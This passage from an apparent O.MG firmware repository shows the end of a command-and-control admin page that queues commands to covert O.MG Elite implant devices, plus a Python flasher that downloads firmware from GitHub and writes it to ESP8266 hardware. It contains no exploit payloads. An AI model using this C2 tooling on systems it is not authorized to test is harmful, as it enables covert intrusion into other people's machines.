provision [deviceAlias] [poll_rate] [fast_rate] [connect_rate]<br /><br /> Then use the subsequent Provisioning Data to pair an O.MG Elite device to this C2 Server.<br /><br />See: <a href=\"https://github.com/O-MG/O.MG-Firmware/wiki#c2server\">https://github.com/O-MG/O.MG-Firmware/wiki#c2server</a>',\n\t\t\t\t\tcloseEnabled: true,\n\t\t\t\t});\n\t\t\t\treturn;\n\t\t\t}\n\t\t\n\t\t\tlet currentAliases = Array.from(aliasSelect.options, option => option.value);\n\t\t\tadminData.devices.forEach(device => {\n\t\t\t\tif (currentAliases.includes(device.alias)) {\n\t\t\t\t\tconst index = currentAliases.indexOf(device.alias);\n\t\t\t\t\tif (index > -1) {\n\t\t\t\t\t\tcurrentAliases.splice(index, 1);\n\t\t\t\t\t}\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\n\t\t\t\tconst option = document.createElement('option');\n\t\t\t\toption.text = device.alias;\n\t\t\t\toption.value = device.alias;\n\t\t\t\taliasSelect.add(option);\n\t\t\t});\n\t\t\tcurrentAliases.forEach(alias => {\n\t\t\t\tfor (let i = 0; i < aliasSelect.options.length; i++) {\n\t\t\t\t\tif (aliasSelect.options[i].value === alias) {\n\t\t\t\t\t\taliasSelect.remove(i);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t\tArray.from(aliasSelect.options)\n\t\t\t\t.sort((a, b) => a.text === b.text ? 0 : a.text < b.text ? -1 : 1)\n\t\t\t\t.forEach(option => aliasSelect.add(option, null));\n\t\t\n\t\t\taliasSelect.onchange = () => {\n\t\t\t\tloadCmdQueue(aliasSelect.value);\n\t\t\n\t\t\t\tconst selectedDevice = adminData.devices.find(device => device.alias === aliasSelect.value);\n\t\t\n\t\t\t\tif (selectedDevice) {\n\t\t\t\t\tdocument.getElementById('queueContactRate').value = selectedDevice.contact_seconds;\n\t\t\t\t\tdocument.getElementById('queuePollRate').value = selectedDevice.poll_seconds;\n\t\t\t\t\tdocument.getElementById('queueFastRate').value = selectedDevice.fast_seconds;\n\t\t\t\t}\n\t\t\t};\n\t\t\n\t\t\tloadCmdQueue(aliasSelect.value);\n\t\t\tconst selectedDevice = adminData.devices.find(device => device.alias === aliasSelect.value);\n\t\t\n\t\t\tif (selectedDevice) {\n\t\t\t\tdocument.getElementById('queueContactRate').value = selectedDevice.contact_seconds;\n\t\t\t\tdocument.getElementById('queuePollRate').value = selectedDevice.poll_seconds;\n\t\t\t\tdocument.getElementById('queueFastRate').value = selectedDevice.fast_seconds;\n\t\t\t}\n\t\t}\n\t\t\n\t\tasync function changePollRate() {\n\t\t\taliasSelect = document.getElementById('alias').value;\n\t\t\tpollSeconds = document.getElementById('queuePollRate').value;\n\t\t\tfastSeconds = document.getElementById('queueFastRate').value;\n\t\t\tcontactSeconds = document.getElementById('queueContactRate').value;\n\t\t\n\t\t\tconst response = await fetch(`http://${hostname}:8080/C2admin`, {\n\t\t\t\tmethod: 'POST',\n\t\t\t\tbody: JSON.stringify({\n\t\t\t\t\talias: aliasSelect,\n\t\t\t\t\taction: 'pollInterval',\n\t\t\t\t\tdata: {\n\t\t\t\t\t\tpollSeconds,\n\t\t\t\t\t\tfastSeconds,\n\t\t\t\t\t\tcontactSeconds,\n\t\t\t\t\t},\n\t\t\t\t}),\n\t\t\t\theaders: {\n\t\t\t\t\t'Content-Type': 'application/json'\n\t\t\t\t}\n\t\t\t});\n\t\t\n\t\t\tif (response.ok) {\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await response.json();\n\t\t\t\t\t// console.log(result);\n\t\t\t\t} catch (error) {\n\t\t\t\t\t// console.log('Response is not JSON:', error);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// console.log('Error with request:', response.status);\n\t\t\t}\n\t\t\n\t\t\tloadAdminData();\n\t\t\tloadCmdQueue(alias);\n\t\t}\n\t\t\n\t\tfunction changeRefreshRate(value) {\n\t\t\trefreshRate = value;\n\t\t\tclearInterval(logsIntervalId);\n\t\t\tclearInterval(adminIntervalId);\n\t\t\tlogsIntervalId = setInterval(loadLogs, refreshRate * 1000);\n\t\t\tadminIntervalId = setInterval(loadAdminData, refreshRate * 1000);\n\t\t}\n\t\t\n\t\twindow.onload = () => {\n\t\t\tloadAdminData();\n\t\t\tconst aliasSelect = document.getElementById('alias');\n\t\t\tloadLogs(aliasSelect.value);\n\t\t\tclearInterval(logsIntervalId);\n\t\t\tclearInterval(adminIntervalId);\n\t\t\tlogsIntervalId = setInterval(loadLogs, refreshRate * 1000);\n\t\t\tadminIntervalId = setInterval(loadAdminData, refreshRate * 1000);\n\t\t\n\t\t\tdocument.getElementById('queryDeviceStatus').onclick = () => {\n\t\t\t\tconst deviceStatusCommands = [\"CI\", \"CV\", \"CWInfo\", \"CNGet\", \"CTList\", \"CFList\", \"CWStatus\", \"CEStatus\", \"CLStatus\", \"[CHStatus]CHStatus\", \"C2Status\"];\n\t\t\t\tdeviceStatusCommands.forEach((cmd) => addCmd(aliasSelect.value, cmd));\n\t\t\t};\n\t\t\tdocument.getElementById('modifyQueueC2').onclick = null;\n\t\t\tdocument.getElementById('modifyQueueC2').onclick = () => {\n\t\t\t\tconst cmddata = document.getElementById('data');\n\t\t\t\taddCmd(aliasSelect.value, cmddata.value);\n\t\t\t};\n\t\t\tdocument.getElementById('deleteAllButton').onclick = () => {\n\t\t\t\tclearQueue(aliasSelect.value);\n\t\t\t};\n\t\t\tdocument.getElementById('clearLogsButton').onclick = () => {\n\t\t\t\tclearLog(aliasSelect.value);\n\t\t\t};\n\t\t\tdocument.getElementById('clearAllLogsButton').onclick = () => {\n\t\t\t\tclearLogAll(aliasSelect.value);\n\t\t\t};\n\t\t};\n\t\t\n\t\tconst connect = (() => {\n\t\t\tconst aliasSelect = document.getElementById('alias');\n\t\t\tlet messageQueue = [];\n\t\t\n\t\t\tfunction queueMessage(message) {\n\t\t\t\taddCmd(aliasSelect.value, message);\n\t\t\t}\n\t\t\n\t\t\tfunction sendMessage(message) {\n\t\t\t\tif (!messageQueue.includes(message)) {\n\t\t\t\t\tmessageQueue.push(message);\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\tsetInterval(() => {\n\t\t\t\tif (messageQueue.length > 0) {\n\t\t\t\t\tqueueMessage(messageQueue.shift());\n\t\t\t\t}\n\t\t\t}, 250);\n\t\t\n\t\t\treturn {\n\t\t\t\tsendMessage,\n\t\t\t};\n\t\t})();\n\t</script>\n</body>\n</html>\n"
  },
  {
    "path": "c2server/requirements.txt",
    "content": "pymonocypher == 3.1.*"
  },
  {
    "path": "flash.py",
    "content": "# Copyright 2023 Mischief Gadgets LLC\n\nimport os\nimport sys\nimport json\nimport glob\nimport serial\nimport base64\nimport platform\nimport argparse\nimport platform\nimport mimetypes\nimport http.client\nimport urllib.parse\nfrom sys import exit\nfrom time import time\nfrom math import floor\nfrom signal import signal, SIGINT\nfrom serial.tools import hexlify_codec\nfrom serial.tools.list_ports import comports\n\nfrom pprint import pprint\n\ntry:\n    raw_input\nexcept NameError:\n    # pylint: disable=redefined-builtin,invalid-name\n    raw_input = input   # in python3 it's \"raw\"\n    unichr = chr\n\nif 'idlelib.run' in sys.modules:\n    print(\"!!!! PLEASE DO NOT RUN THIS IN IDLE EDITOR !!!!\")\n    print(\"Unexpected outcomes or errors may occur when running in IDLE\")\n    print(\"Please launch this by opening your command line or terminal and typing 'python3 flash.py'\")\n    print(\"If you have any questions please see the wiki https://github.com/O-MG/O.MG-Firmware/wiki\")\n    sys.exit(1)\n\nVERSION = \"FIRMWARE FLASHER VERSION NUMBER [ 230907 @ 153241 UTC ]\"\nFLASHER_VERSION = 1 # presume we have an old style flasher = 1\nFLASHER_VERSION_DETECT = True\n\nBRANCH = \"stable\"\nFIRMWARE_DIR=\"./firmware\"\nFIRMWARE_URL = \"https://raw.githubusercontent.com/O-MG/O.MG-Firmware/%BRANCH%\"\nMEMMAP_URL = \"https://raw.githubusercontent.com/O-MG/WebFlasher/main/assets/memmap.json\"\n\nUPDATES = \"FOR UPDATES VISIT: [ https://github.com/O-MG/O.MG-Firmware ]\\n\"\n\nMOTD = \"\"\"\\\n               ./ohds. -syhddddhys: .oddo/.\n                `: oMM+ dMMMMMMMMm`/MMs :`\n             `/hMh`:MMm .:-....-:- hMM+`hMh/\n           `oNMm:`sMMN:`:+osssso+:`-NMMy.:dMNo`\n          +NMMs +NMMh`:mMMMMMMMMMMN/`yMMNo +MMN+\n        .dMMMy sMMMh oMNhs+////+shNMs yMMMy sMMMd.\n       -NMMM+  NMMMd`-.  `.::::.`  .:`hMMMM` +MMMN-\n      -NMMN-   hMMMMMdhhmMMMMMMMMmhhdNMMMMd   -NMMN.\n      mMMM- `m:`hMMMMMMMMMmhyyhmMMMMMMMMMd.-d` -MMMm\n     +MMMs  dMMs -sMMMMm+`      `+mMMMMs: oMMh  sMMM+\n     dMMM` :MMMy  oMMMy            yMMMo  hMMM: `MMMd\n     MMMm  sMMM:  NMMN              NMMN  :MMMs  mMMM\n    `MMMd  yMMM- `MMMd              dMMM` :MMMs  dMMM`\n     NMMN  +MMMo  dMMM:            :MMMN. +MMM+  NMMN\n     yMMM/ `NMMN` .NMMN+          +MMMMMMh.+MN` /MMMy\n     .MMMm` /MMMd` .hMMMNy+:--:+yNMMMdsNMMN.+/ `mMMM.\n      +MMMh  +MMMN/  :hMMMMMMMMMMMMh:  yMMM/   hMMM+\n       sMMMh` -mMMMd/` `:oshhhhy+:` `/dMMMh  `hMMMs\n        oMMMN/  +mMMMMho:.      .:ohMMMMm/  :NMMMo\n         -mMMMd:  :yNMMMMMMNNNNMMMMMMNy:  :dMMMm-\n           +NMMMmo   -+shmNMMMMNmhs+-  .omMMMN+\n            `/dNo.:/              `-+ymMMMMd/\n                /mM-.:/+ossyyhhdmNMMMMMMdo.\n              -mMMMMMMMMMMMMMMMMMMNdy+-\n             /MMMMMMmyso+//::--.`\n            :MMMMNNNNs-\n           `Ndo:`    `.`\n           :-\\\n\"\"\"\n\n\ndef omg_tos():\n    message = \"\"\"\nAgreement\nO.MG Cable, O.MG Adapter, and O.MG Plug are trademarks of Mischief Gadgets, \nLLC. Mischief Gadgets, LLC requires that all users read and accept the \nprovisions  of the Terms of Use Policy and the Privacy Policy prior to \ngranting users any  authorization to use pentesting hardware created by \nMischief Gadgets, LLC  and/or its affiliates. The Terms of Use Policy and\nthe Privacy Policy can be  found at  https://o.mg.lol, and must be \naffirmatively consented to by users prior to using any pentesting hardware\ncreated by Mischief Gadgets, LLC and/or its  affiliates (hereinafter referred\nto as “O.MG Devices”). Reading and  Accepting the Terms of Use and the Privacy\nPolicy are REQUIRED CONSIDERTIONS for Mischief Gadgets, LLC and/or its \naffiliates granting users the right to use any  O.MG Device. All persons are \nDENIED permission to use any O.MG Device,  unless they read and affirmatively\naccept the Terms of Use Policy and the Privacy Policy located at\nhttps://o.mg.lol.\n\nPrivacy Policy\nAll persons under the age of 18 are denied access to the website located at \nhttps://o.mg.lol, as well as denied authorization to use any O.MG Device. \nIf you are under the age of 18, it is unlawful for you to visit, communicate, \nor interact with Mischief Gadgets, LLC and/or its affiliates in any manner. \nMischief Gadgets, LLC and/or its affiliates specifically denies access to any\nindividual that is covered by the Child Online Privacy Act (COPA) of 1998.\n\nMischief Gadgets, LLC and/or its affiliates reserve the right to deny access \nto any person or viewer for any reason. Under the provisions of this Privacy \nPolicy, Mischief Gadgets, LLC and/or its affiliates are allowed to collect and\nstore data and information for the purpose of exclusion, and for any other \nuses seen fit.\n\nMischief Gadgets, LLC and/or its affiliates have established safeguards to \nhelp prevent unauthorized access to or misuse of your information but cannot\nguarantee that your information will never be disclosed in a manner \ninconsistent with this Privacy Policy (for example, as a result of any \nunauthorized act by third parties that violate applicable law or our\naffiliates’ policies). To protect your privacy and security, we may use \npasswords or other technologies to register or authenticate you and enable\nyou to take advantage  of our services, and before granting access or making\ncorrections to your  information.\n\nMischief Gadgets, LLC and/or its affiliates do not rent or sell your personally\nidentifiable information (such as name, address, telephone number, and credit \ncard information) to third parties for their marketing purposes.\n\nThis Privacy Policy may change from time to time. Users have an affirmative \nduty, as part of the consideration for permission to use O.MG Devices, to keep \nthemselves informed of changes to this Privacy Policy. All changes to this \nPrivacy Policy will be posted at https://o.mg.lol.\n\nTerms of Use\nPentesting hardware designed by Mischief Gadgets, LLC and/or its affiliates \n(hereinafter referred to as “O.MG Devices”) are network administration and \npentesting tools used for authorized auditing and security analysis purposes\nonly where permitted, subject to local and international laws where applicable.\nUsers are solely responsible for compliance with all laws of their locality. \nMischief Gadgets, LLC and/or its affiliates claim no responsibility for \nunauthorized or unlawful use.\n\nO.MG Devices are packaged with a limited warranty, the acceptance of which is\na condition of sale. See https://o.mg.lol for additional warranty details and\nlimitations. Availability and performance of certain features, services, and\napplications are device and network dependent and may not be available in all\nareas; additional terms, conditions and/or charges may apply.\n\nYou agree not to access or use any O.MG Device or the website located at \nhttps://o.mg.lol in any unlawful way or for any unlawful or illegitimate \npurpose or in any manner that contravenes this Agreement. You shall not \nuse any O.MG \n\nDevice to post, use, store, or transmit any information that is unlawful, \nlibelous, defamatory, obscene, fraudulent, predatory of minors, harassing, \nthreatening or hateful towards any individual, this includes any information \nthat infringes or violates any of the intellectual property rights of others\nor the privacy rights of others. You shall not use any O.MG Device to attempt\nto disturb the peace by any method, including through use of viruses, Trojan \nhorses, worms, time bombs, denial of service attacks, flooding or spamming. \nYou shall not use any O.MG Device in any manner that could damage, disable or\nimpair Mischief Gadgets, LLC and/or its affiliates, or any third-party. You \nshall not use any O.MG Device to attempt to gain unauthorized access to any \nuser account, computer systems, or networks through hacking, password mining \nor any other means. You shall not use any O.MG Device alongside any robot, data\nscraper, miner or virtual computer to gain unlawful access to protected \ncomputer systems.\n\nAll features, functionality and other product specifications are subject to \nchange without notice or obligation. Mischief Gadgets, LLC and/or its \naffiliates reserve the right to make changes to the product description in \nthis document  without notice. Mischief Gadgets, LLC and/or its affiliates \ndo not assume any liability that may occur due to the use or application of \nthe product(s) described herein.\n\nThese terms and conditions shall be governed by and construed in accordance \nwith the laws of the state of New York, United States of America, and you \nagree to  submit to the personal jurisdiction of the courts of the state of \nNew York. In the event that any portion of these terms and conditions is deemed\nby a court to be invalid, the remaining provisions shall remain in full force\nand effect.  You agree that regardless of any statute or law to the contrary,\nany claim or cause of action arising out of or related to this Web site, or the\nuse of this Website, must be filed within one year after such claim or cause of \naction arose and must be filed in a court in New York, New York, U.S.A.\n\nAs required by Section 512(c)(2) of Title 17 of the United States Code, if you\nbelieve that any material on the website located at https://o.mg.lol infringes\nyour copyright, you must send a notice of claimed infringement to Mischief \nGadget, LLC’s General Counsel  at the following address:\n    c/o Mischief Gadgets, LLC - General Counsel\n    Tor Ekeland Law, PLLC\n    30 Wall St., 8th Floor\n    New York, NY 10005\n    [info@torekeland.com]\nIf you do not agree to be bound by this Agreement, do not access or use any \nO.MG Device,  or the website located at https://o.mg.lol. We reserve the right, \nwith or without notice, to make changes to this Agreement at our discretion. \nContinued use of any O.MG Device or the website located at https://o.mg.lol \nconstitutes your acceptance of these Terms,  as they may appear at the time \nof your access.\n\nBy continuing, by availing yourself of any O.MG Device or the website located \nat  https://o.mg.lol, or by accessing, visiting, browsing, using or attempting\nto interact with or use any O.MG Device or the website located at \nhttps://o.mg.lol, you agree that you have read, understand, and agree to be \nbound by this Agreement as well as our  Privacy Policy, which is a part of this\nAgreement and which can be viewed here: https://o.mg.lol.\n\"\"\"\n    \n    print(\"\\n\\nTo use this flashing tool and O.MG Devices you must agree to the following\\n\\n\")\n    try:\n        from scripts import pager as pager\n        from io import StringIO\n        f = StringIO(message)\n        pager.page(f)\n    except KeyError:\n        print(message)\n    print(\"\\n\\nTo use this flashing tool and O.MG Devices you must agree to the following\\n\\n\")\n    INPUT_CORRECT = False\n    USER_AGREED = False\n    while not INPUT_CORRECT:\n        print(\"\\n\\nDo you agree? You must type yes or no\\n\\n\")\n        user_response = str(input(\"Select Option: \")).replace(\" \",\"\").lower().strip()\n        if \"yes\" in user_response:\n            INPUT_CORRECT = True\n            USER_AGREED = True\n        if \"no\" in user_response:\n            INPUT_CORRECT = True\n            USER_AGREED = False    \n    if USER_AGREED:\n        return True\n    else:\n        print(\"<<< DID NOT AGREE TO TERMS OF SERVICE. CANNOT CONTINUE >>>\")\n        sys.exit(1)\n\ndef omg_dependency_imports():\n    # load pyserial\n    try:\n        global serial\n        import serial\n    except:\n        print(\"\\n<<< PYSERIAL MODULE MISSING, MANUALLY INSTALL TO CONTINUE >>>\")\n        print(\"<<< YOU CAN TRY: npm install serial or pip install pyserial >>>\")\n        complete(1)\n\n    try:\n        from scripts import flashapi as flashtest\n    except:\n        if not os.path.exists('./scripts/'):\n            os.mkdir(\"./scripts/\")\n        dependencies = ['flashapi.py', 'miniterm.py']\n        for dependency in dependencies:\n            file_path = \"scripts/\"+dependency\n            file_url = FIRMWARE_URL.replace(\"%BRANCH%\",BRANCH) + \"/scripts/\" + dependency\n            try:\n                res = get_resource_file(file_url)\n                if res['status'] == 200:\n                    with open(file_path,\"wb\") as f:\n                            f.write(res['data'])\n                    print(\"succesfully fetched missing dependency %s from %s\"%(dependency,file_url))\n            except:\n                print(\"failed to get missing dependency %s from %s\"%(dependency,file_url))\n    try:\n        global flashapi\n        from scripts import flashapi as flashapi \n    except:\n        print(\"<<< flashapi.PY MISSING FROM scripts/flashapi.py >>>\")\n        print(\"<<< PLEASE MANUALLY DOWNLOAD FROM https://github.com/O-MG/O.MG-Firmware >>>\")\n        complete(1)\n\ndef handler(signal_received, frame):\n    # Handle any cleanup here\n    print('SIGINT or CTRL-C detected. Exiting gracefully')\n    exit(0)\n\nclass omg_results():\n    def __init__(self):\n        self.OS_DETECTED = \"\"\n        self.PROG_FOUND = False\n        self.PORT_PATH = \"\"\n        self.WIFI_DEFAULTS = False\n        self.WIFI_SSID = \"O.MG\"\n        self.WIFI_PASS = \"12345678\"\n        self.WIFI_MODE = \"2\"\n        self.WIFI_TYPE = \"STATION\"\n        self.FILE_PAGE = \"page.mpfs\"\n        self.FILE_INIT = \"esp_init_data_default_v08.bin\"\n        self.FILE_ELF0 = \"image.elf-0x00000.bin\"\n        self.FILE_ELF1 = \"image.elf-0x10000.bin\"\n        self.FILE_BLANK = \"blank.bin\"\n        self.FILE_OFAT_INIT = \"blank-settings.bin\"\n        self.FLASH_SLOTS = 4\n        self.FLASH_PAYLOAD_SIZE = 60\n        self.NUMBER_SLOTS = 50\n\ndef get_dev_info(dev):\n    esp = flashapi.ESP8266ROM(dev, baudrate, None)\n    esp.connect(None)\n    mac = esp.read_mac()\n\n    esp.flash_spi_attach(0)\n    flash_id = esp.flash_id()\n    size_id = flash_id >> 16\n    flash_size = {0x14: 0x100000, 0x15: 0x200000, 0x16: 0x400000}[size_id]\n    return mac, flash_size\n\ndef ask_for_flasherhwver():\n    \"\"\"\n        Ask for the flasher version, either 1 or 2 right now...\n    \"\"\"\n    FLASHER_VERSION = 1\n    flash_version = FLASHER_VERSION\n    if FLASHER_VERSION is None:\n        while True:\n            try:\n                flash_version = int(raw_input(\"--- Enter version of programmer hardware [Available Versions: Programmer V1 or Programmer V2]: \".format(FLASHVER=flash_version)))\n            except:\n                pass\n            if flash_version == 1 or flash_version == 2:\n                break\n        print(\"<<< USER REPORTED HARDWARE FLASHER REVISION AS VERSION\", flash_version, \">>>\")\n    return flash_version    \n    \ndef ask_for_port():\n    \"\"\"\\\n    Show a list of ports and ask the user for a choice. To make selection\n    easier on systems with long device names, also allow the input of an\n    index.\n    \"\"\"\n    global FLASHER_VERSION\n    i = 0\n    sys.stderr.write('\\n--- Available ports:\\n')\n    port = None\n    ports = []\n    ports_info = {}\n    skippedports = []\n\n    for n, (port, desc, hwid) in enumerate(sorted(comports()), 1):\n        includedport = \"CP210\"\n        if includedport in desc:\n            i+=1\n            sys.stderr.write('--- {:2}: {:20} {!r}\\n'.format(i, port, desc))\n            ports.append(port)\n            ports_info[port]={'port': port,'desc': desc,'hwid': hwid}\n        else: \n            skippedports.append(port)\n    while True:\n        num_ports = len(ports)\n        #if num_ports == 1:\n        #    return ports[0]\n        #else:\n        port = raw_input('--- Enter port index or full name: ')\n        try:\n            index = int(port) - 1\n            if not 0 <= index < len(ports):\n                sys.stderr.write('--- Invalid index!\\n')\n                continue\n        except ValueError:\n            all_ports = skippedports + list(ports_info.keys())\n            cleaned_value = str(port).strip().strip(\" \")\n            in_valid_list = (cleaned_value in ports_info.keys())\n            if cleaned_value in all_ports:\n                # we found a port\n                if not in_valid_list:\n                    print(f\"!! Warning: Manually selecting port {port}, but unable to verify it is a CP210x device\")\n                break\n            else:\n                if len(ports)==1:\n                    print(\"<<< ONLY ONE PROGRAMMER FOUND, SELECTING PROGRAMMER 1 >>>\")\n                    port = ports[0]\n                    break\n                else:\n                    print(\"Invalid option. You must enter an index or full path to the device\")\n                    pass\n        else:\n            port = ports[index]\n            break\n    FLASHER_VERSION = 1 # update back to 1\n    if FLASHER_VERSION_DETECT:       \n        try:      \n            sercheck = serial.Serial(port=port,dsrdtr=True)\n            sercheck.dtr=0\n            # we do 3 checks\n            final_check = True\n            if sercheck.dsr == sercheck.dtr and sercheck.dsr == 0:\n                # we will set it to true\n                for check in [True,False,True]:\n                    sercheck.dtr=int(check)\n                    curr_check = False\n                    if sercheck.dtr == int(check) and sercheck.dsr == sercheck.dtr:\n                        curr_check = True\n                    final_check = final_check & curr_check\n            sercheck.close()\n            if final_check:\n                print(\"Found programmer version: 2\")\n                print(\"This programmer will not require reconnection, please utilize the visual indicators on the programmer to ensure omg device is properly connected.\")\n                FLASHER_VERSION = 2\n            else:\n                print(\"Found programmer version: 1\")\n                #print(\"You will need to reconnect this when doing operations.\")\n        except KeyError:\n            print(\"Defaulting to programmer version: 1\")\n    # finish\n    return port\n\ndef omg_flash(command,tries=2):\n    global FLASHER_VERSION\n    ver = FLASHER_VERSION\n    if int(ver) == 2 and FLASHER_VERSION_DETECT:\n        try:\n            flashapi.main(command)\n            return True\n        except (flashapi.FatalError, serial.SerialException, serial.serialutil.SerialException) as e:\n            print(\"Error\", str(e))\n            return False\n    else:\n        ret = False\n        while tries>0:\n            try:\n                ret = flashapi.main(command)\n                print(\"<<< OPERATION SUCCESSFUL. PLEASE UNPLUG AND REPLUG DEVICE BEFORE CONTINUING >>>\")\n                input(\"\")\n                ret = True\n                break\n            except (flashapi.FatalError, serial.SerialException, serial.serialutil.SerialException) as e:\n                tries-=1\n                print(\"Unsuccessful communication,\", tries, \"trie(s) remain\")\n        if not ret:\n            print(\"<<< ERROR DURING OPERATION PREVENTED SUCCESSFUL FLASH. TRY TO RECONNECT DEVICE OR REBOOT >>>\")\n            complete(1)\n        else:\n            return ret\n\ndef complete(statuscode, message=\"Press Enter to continue...\"):\n    input(message)\n    sys.exit(statuscode)\n\ndef make_request(url):\n    urlparse = urllib.parse.urlparse(url)\n    url_parts = None\n    if \":\" in str(urlparse.netloc):\n        url_parts = str(urlparse.netloc).split(\":\")\n    else:\n        port = 443\n        if urlparse.scheme != \"https\":\n            port = 80\n        url_parts = (urlparse.netloc, port)\n    if urlparse.scheme == \"https\":\n        conn = http.client.HTTPSConnection(host=url_parts[0], port=url_parts[1])\n    else:\n        conn = http.client.HTTPConnection(host=url_parts[0], port=url_parts[1])\n    return conn\n\ndef get_resource_file(url,params=None,data_type='text'):\n    dta = \"text/plain\"\n    if data_type == \"json\":\n        dta = \"application/json\"\n    pyver = sys.version_info\n    uas = \"httplib ({0}) python/{1}.{2}.{3}-{4}\".format(sys.platform,pyver.major,pyver.minor,pyver.micro,pyver.serial)\n    headers = {\n        \"Content-type\": \"application/x-www-form-urlencoded\",\n        \"Accept\": dta,\n        \"User-Agent\": uas\n    }\n    status = None\n    try:\n        conn = make_request(url)\n        conn.request(\"GET\", url, params, headers)\n        response = conn.getresponse()\n        status = int(response.status)\n        data = response.read()\n    except ConnectionError:\n        data = None\n        status = 500\n    return {'data': data, 'status': status}\n\ndef get_release_data():\n    global BRANCH\n    release_url = \"https://api.github.com/repos/O-MG/O.MG-Firmware/releases?per_page=100\"\n    release_data = get_resource_file(url=release_url,data_type='json')\n    if release_data['status'] == 200:\n        raw_releases = json.loads(release_data['data'])\n        releases = {}\n        release_list = []\n        for element in raw_releases:\n            if \"target_commitish\" in element and element[\"target_commitish\"] not in releases:\n                # add\n                if not element[\"draft\"] :\n                    releases[element[\"target_commitish\"]] = element\n                    releases[element[\"target_commitish\"]][\"version\"] = element[\"tag_name\"]\n                    releases[element[\"target_commitish\"]][\"author\"] = element[\"author\"][\"login\"]\n                    #del element[\"target_commitish\"][\"author\"]\n                    release_list.append(releases[element[\"target_commitish\"]])\n        if BRANCH in releases:\n            return releases[BRANCH][\"tag_name\"]\n        else:\n            return None\n        \ndef omg_fetch_latest_firmware(create_dst_dir=False,dst_dir=\"./firmware\"):\n    curr_branch = BRANCH\n    try:\n      curr_branch = get_release_data()\n    except OSError:\n      pass\n    mem_map = get_resource_file(MEMMAP_URL)\n    data = None\n    if mem_map is not None and 'status' in mem_map and mem_map['status'] == 200:\n        # attempt to create dir\n        if not dst_dir==\"./\" or create_dst_dir:\n            if os.path.exists(dst_dir):\n                for f in os.listdir(dst_dir):\n                    os.remove(dst_dir + \"/\" + f)\n                os.rmdir(dst_dir)\n            os.mkdir(dst_dir)\n        json_map = json.loads(mem_map['data'])\n        data = json_map\n        pymap = {}\n        dl_files = []\n        for flash_size,files in json_map.items():\n            mem_size = int(int(flash_size)/1024)\n            file_map = []\n            for resource in files:\n                file_map.append(resource['offset'])\n                file_map.append(resource['name'])\n                if resource['name'] not in dl_files:\n                    dl_files.append(resource['name'])\n            pymap[mem_size]=file_map\n        #pprint(pymap)\n        #pprint(dl_files)\n        print(f\"\\n\\n<<<< WARNING: Firmware was not found in {dst_dir}! Resetting and attempting to download {curr_branch} firmware from the internet. >>>> \\n\\n\")\n        for dl_file in dl_files:\n            dl_url = (\"%s/firmware/%s\"%(FIRMWARE_URL,dl_file)).replace(\"%BRANCH%\",curr_branch)\n            n = get_resource_file(dl_url)    \n            if n is not None and 'data' in n and n['status']==200:\n                dl_file_path = \"%s/%s\"%(dst_dir,dl_file)\n                with open(dl_file_path,'wb') as f:\n                    print(\"writing %d bytes of data to file %s from %s\"%(len(n['data']),dl_file_path,dl_url))\n                    f.write(n['data'])\n    return data\n\ndef omg_locate():\n    def omg_check(fw_path):\n        PAGE_LOCATED = False\n        INIT_LOCATED = False\n        ELF0_LOCATED = False\n        ELF1_LOCATED = False\n        ELF2_LOCATED = False\n\n        if os.path.isfile(results.FILE_PAGE):\n            PAGE_LOCATED = True\n        else:\n            if os.path.isfile(fw_path + results.FILE_PAGE):\n                results.FILE_PAGE = fw_path + results.FILE_PAGE\n                PAGE_LOCATED = True\n\n        if os.path.isfile(results.FILE_INIT):\n            INIT_LOCATED = True\n        else:\n            if os.path.isfile(fw_path + results.FILE_INIT):\n                results.FILE_INIT = fw_path + results.FILE_INIT\n                INIT_LOCATED = True\n\n        if os.path.isfile(results.FILE_ELF0):\n            ELF0_LOCATED = True\n        else:\n            if os.path.isfile(fw_path + results.FILE_ELF0):\n                results.FILE_ELF0 = fw_path + results.FILE_ELF0\n                ELF0_LOCATED = True\n\n        if os.path.isfile(results.FILE_ELF1):\n            ELF1_LOCATED = True\n        else:\n            if os.path.isfile(fw_path + results.FILE_ELF1):\n                results.FILE_ELF1 = fw_path + results.FILE_ELF1\n                ELF1_LOCATED = True\n\n        if os.path.isfile(results.FILE_BLANK):\n            ELF2_LOCATED = True\n        else:\n            if os.path.isfile(fw_path + results.FILE_BLANK):\n                results.FILE_BLANK = fw_path + results.FILE_BLANK\n                ELF2_LOCATED = True\n                \n        if os.path.isfile(fw_path + results.FILE_OFAT_INIT):\n            try:\n                os.unlink(fw_path + results.FILE_OFAT_INIT)\n            except:\n                pass\n        results.FILE_OFAT_INIT = fw_path + results.FILE_OFAT_INIT\n        # return data\n        return (PAGE_LOCATED,INIT_LOCATED,ELF0_LOCATED,ELF1_LOCATED,ELF2_LOCATED)\n\n    # do lookups\n    fw_path = FIRMWARE_DIR + \"/\"\n    if not os.path.exists(fw_path):\n        omg_fetch_latest_firmware(True,fw_path)\n    # try one\n    PAGE_LOCATED,INIT_LOCATED,ELF0_LOCATED,ELF1_LOCATED,ELF2_LOCATED = omg_check(fw_path)\n    \n    if not (PAGE_LOCATED and INIT_LOCATED and ELF0_LOCATED and ELF1_LOCATED and ELF2_LOCATED):\n        omg_fetch_latest_firmware(False,fw_path)\n        PAGE_LOCATED,INIT_LOCATED,ELF0_LOCATED,ELF1_LOCATED,ELF2_LOCATED = omg_check(fw_path)\n    \n    # now see if things worked\n    if PAGE_LOCATED and INIT_LOCATED and ELF0_LOCATED and ELF1_LOCATED and ELF2_LOCATED:\n        print(\"\\n<<< ALL FIRMWARE FILES LOCATED >>>\\n\")\n    else:\n        print(\"<<< SOME FIRMWARE FILES ARE MISSING, PLACE THEM IN THIS FILE'S DIRECTORY >>>\")\n        if not PAGE_LOCATED: print(\"\\n\\tMISSING FILE: {PAGE}\".format(PAGE=results.FILE_PAGE))\n        if not INIT_LOCATED: print(\"\\tMISSING FILE: {INIT}\".format(INIT=results.FILE_INIT))\n        if not ELF0_LOCATED: print(\"\\tMISSING FILE: {ELF0}\".format(ELF0=results.FILE_ELF0))\n        if not ELF1_LOCATED: print(\"\\tMISSING FILE: {ELF1}\".format(ELF1=results.FILE_ELF1))\n        if not ELF2_LOCATED: print(\"\\tMISSING FILE: {ELF2}\".format(ELF2=results.FILE_BLANK))\n        print('')\n        complete(1)\n\n\n\ndef omg_probe():\n    devices = \"\"\n    results.PROG_FOUND = 